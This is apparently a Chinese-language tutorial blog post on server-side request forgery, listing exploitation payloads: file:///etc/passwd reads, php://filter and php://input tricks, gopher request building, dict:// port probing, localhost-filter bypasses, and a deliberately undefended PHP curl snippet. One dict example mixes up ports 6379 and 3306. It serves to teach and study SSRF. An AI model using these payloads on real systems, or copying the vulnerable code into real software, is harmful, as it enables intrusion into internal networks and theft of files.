携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第1天,点击查看活动详情
SSRF利用
1.可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306)
2.攻击运行在内网或本地的有漏洞程序(比如溢出)
3.可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹
4.攻击内网或外网有漏洞的Web应用
5.使用file:///协议读取本地文件(或其他协议)
url常见漏洞关键字
Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
协议运用
file协议的运用
用于读取本地文件
php://filter
读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
/etc/passwd文件
url=file:///etc/passwd
gopher协议的运用
利用gopher协议反弹shell
基本协议格式
URL:gopher://<host>:<port>/<gopher-path>
构造http数据包->url编码->替换->发送
GET方式
GET /index.php HTTP/1.1 Host:192.168.44.129:80
一次url编码
GET%20%2Findex.php%20HTTP%2F1.1%0AHost%3A192.168.44.129%3A80
替换
将%0A(换行) 替换为%0d%0a,末尾加上%0d%0a GET%20%2Findex.php%20HTTP%2F1.1%0d%0aHost%3A192.168.44.129%3A80%0d%0a
执行gopher
gopher://192.168.44.129:80/_GET%20%2Findex.php%20HTTP%2F1.1%0d%0aHost%3A192.168.44.129%3A80%0d%0a
POST方式
将GET方式转为POST方式,其余步骤相同
dict协议应用
可以获取目标服务器端口上运行的服务版本等信息。
端口开放时
端口未开放时
直接回显
如请求http://192.168.163.150/test.php?url=dict://192.168.163.1:6379/info 可以获取目标主机的3306端口上运行着mysq-l5.5.55版本的应用。
常见绕过方式
进制绕过 IP地址进制转换 (520101.com)
url=http://0x7F000001/flag.php
十六进制绕过
url=http://0x7F.0.0.1/flag.php
八进制绕过
url=http://0177.0.0.1/flag.php
0.0.0.0绕过
特殊的地址绕过
url=http://127.0000000000000.001/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
CIDR绕过localhost
url=http://127.127.127.127/flag.php
短网址@
?url=baidu.com@127.0.0.1
后面跟参数
?url=http://127.0.0.1?a=aasdfsd
添加端口号
?url=http://127.0.0.1:80
指向任意ip的域名xip.io
?url=127.0.0.1.xip.io
无任何防御的漏洞代码
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>